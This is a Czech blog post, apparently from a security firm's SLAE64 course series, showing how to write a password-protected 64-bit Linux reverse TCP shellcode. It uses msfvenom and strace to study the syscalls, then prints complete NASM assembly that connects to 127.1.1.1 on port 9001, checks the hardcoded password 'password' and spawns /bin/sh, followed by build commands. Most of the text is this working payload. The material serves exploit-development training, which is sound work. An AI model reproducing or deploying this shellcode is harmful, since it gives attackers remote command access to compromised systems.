Password protected Shell_Reverse_Tcp 64bitový Shellcode

Ve druhém textu této 64bitové série bude demonstrováno, jak si vytvořit vlastní 64bitový reverse tcp shellcode s nutností zadat správné heslo, aby došlo k otevření shellu.

Jako inspirace bude použit shell_reverse_tcp z msfvenom, který bude analyzován pomocí strace.

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x64/shell_reverse_tcp –list-options

Jsou zde dvě povinné nastavení a to „LPORT“ a „LHOST“

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x64/shell_reverse_tcp LPORT=9001 LHOST=127.0.0.1 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn a došlo k otevření shell na portu 9001 na localhostu. Nyní můžeme shellcode analyzovat pomocí strace.

Můžeme vidět, že shell_reverse_tcp používá tyto syscally:

socket -> connect -> dup2 -> execve

Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:

  • strace -e socket,dup2,connect,execve ./shellcode

Navíc budeme muset přidat nový syscall read, abychom mohli ověřit, že zadané heslo je správné. Syscall read bude před syscallem dup2.

Více informací o syscallu socket najdeme pomocí “man 2 socket” => int socket(int domain, int type, int protocol); budeme potřebovat celkem 4 registry.

Hodnoty najdeme pomocí:

  • grep -R “_INET” /usr/include/
    • PF_INET = 2
  • grep -R “SOCK_STREAM” /usr/include/
    • SOCK_STREAM = 1
  • grep -R “IPPROTO_IP” /usr/include/
    • IPPROTO_IP = 0

Nyní můžeme vytvořit první část v assembly:

; Filename: linux_x64_shell_reverse_tcp.nasm
; Author: SLAE64-14209
 
global _start
 
section .text
 
_start:
 
; syscall socket()
push 0x29
pop rax ; syscall socket = 41
push 0x02
pop rdi ; AF_INET = 2
push 0x01
pop rsi ; SOCKET_STREAM = 1
cdq ; rdx = 0
syscall
mov r9, rax ; store for future references

Jako další budeme potřebovat connect syscall:

  • man 2 connect
    • int connect(int sockfd, const struct sockaddr *addr,

                    socklen_t addrlen);

  • connect = RAX 0x2a (42)
  • sockfd = RDI => reference to socket
  • *addr = RSI => pointer to location on the stack of the sockaddr struct we are going to create
  • lenght of address = RDX 0x10 (16)
  • AF_INET => 2
  • Port number => 9001 decimal = 0x2329 hex => little endian = 0x2923
  • IP address 127.1.1.1 = 0x0101017f
  • 0
  • addrlen = RDX
    • length of the address which the /usr/include/linux/in.h =>
    • #define __SOCK_SIZE__   16              /* sizeof(struct sockaddr)      */ => 16

Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.

; syscall connect()
  
push 0x2a
pop rax ; syscall connect = 42
mov rdi, r9 ; rdi -> file descriptor
push rdx
push rdx
push 0x0101017f ; 127.1.1.1
push word 0x2923 ; port 9001
push word 0x02 ; AF_INET = 2
mov rsi, rsp
add rdx, 0x10 ; address lenght 16
syscall

Jako další budeme potřebovat validovat heslo, které bude zadané uživatelem, použijeme syscall read() a porovnáme s hardcodovaným heslem v shellcode. Pokud bude heslo shodné, dojde ke spuštění syscallu execve.

read() syscall:

  • man 2 read:
    • read() = RAX 0
    • int fd = RDI
    • void *buf = pointer to the stack RSI
    • size_t count = lenght = RDX
; authenticate:
 
    xor rax, rax ; syscall read = 0
    mov rdi, r9 ; reference to stored file descriptor
    sub rsp, 0x1e
    mov rsi, rsp ; allocating space in the stack
    mov dl, 0x1e ; bytes to read
    syscall
 
; compare:
 
    mov rax, 0x64726f7773736170 ; hardcoded password in little endian "drowssap"
    mov rdi, rsi ; password
    scasq ; compare rax with rdi
    jne end ; if is password incorrect jump to end

Jako další budeme potřebovat dup2 syscall:

  • man 2 dup2
    • int dup2(int oldfd, int newfd);
      • we will need loop for 3x into RSI (loop = RSI):
        • STDIN
        • STDOUT
        • STDERR
      • dup2 = RAX 33

Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => RDI

; syscall dup2()
 
push 0x02
pop rsi ; rsi = 2
mov rdi, r9 ; rdi -> file descriptor
 
loop:
push 0x21
pop rax ; syscall dup2 = 33
syscall
dec rsi ; decrement fd
jns loop

Jako další budeme potřebovat execve syscall:

  • man 2 execve:
    • int execve(const char *pathname, char *const argv[],

                  char *const envp[]);

  • execve = RAX
  • pathname = RDI = ‘//bin/sh’ (length 8) terminated by null byte
    • python
      • code = ‘//bin/sh’
      • code[::-1].encode(‘hex’)
      • 0x68732f6e    ; ‘hs/n” 
      • 0x69622f2f    ; ‘ib//’
  • argv = RSI 0
  • envp = RDX 0
; syscall execve()
 
push 0x3b ; = 59
pop rax ; syscall execve()
cdq                    
mov rbx, 0x68732f6e69622f ; "hs/nib/"
push rbx                     
mov rdi, rsp ; RSI -> RDI -> pathname = /bin/sh,0x0  
push rdx ; RDX = 0
push rdi
mov rsi, rsp
syscall ; executing syscall execve()
 
end:
 
push 0x3c
pop rax ; rax = 60
syscall

Kompletní nasm soubor můžete nalézt zde  https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%202/linux_x64_shell_reverse_tcp.nasm

Nasm soubor zkompilujeme:

  • nasm -f elf64 -o reverse.o reverse.nasm
  • ld reverse.o -o reverse

Můžeme zkusit spustit nejdříve se špatným heslem, například “wrong password”, shell bude ukončený. Pokud zadáme správné heslo “password” reverse shell bude fungovat:

Jak můžeme vidět výše reverse shellcode funguje a připojí se na port 9001. Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Analýza 64bitového Egghunter Shellcodu
Předchozí příspěvek
Password protected Shell_Bind_Tcp 64bitový Shellcode

Podobná témata

Menu